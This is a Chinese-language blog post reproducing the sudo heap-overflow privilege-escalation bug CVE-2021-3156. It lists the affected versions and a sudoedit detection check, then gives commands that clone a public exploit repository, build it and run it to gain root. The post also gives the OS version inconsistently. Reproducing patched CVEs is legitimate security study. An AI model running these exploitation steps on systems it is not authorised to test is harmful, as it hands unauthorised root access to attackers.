Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp
0x01 CVE-2021-3156: 缓冲区溢出漏洞
在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。
0x02 影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
不受影响版本
Sudo =>1.9.5p2
0x03 漏洞检测
测试环境:ubuntu:20.04
检测是否存在
1 | sudoedit -s / |
如下以sudoedit:
开头报错则存在此漏洞
如果响应一个以usage:
开头的报错,那么表明补丁已经生效
0x04 漏洞复现exp
当前用户为普通用户
下载EXP
1 | git clone https://github.com/blasty/CVE-2021-3156.git |
进入编译一下
1 | $ make |
执行EXP,要选择系统
1 | ./sudo-hax-me-a-sandwich |
最终执行(因为是 ubuntu10.04.1)
1 | ./sudo-hax-me-a-sandwich 1 |
提权成功
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Zeo's Security Lab!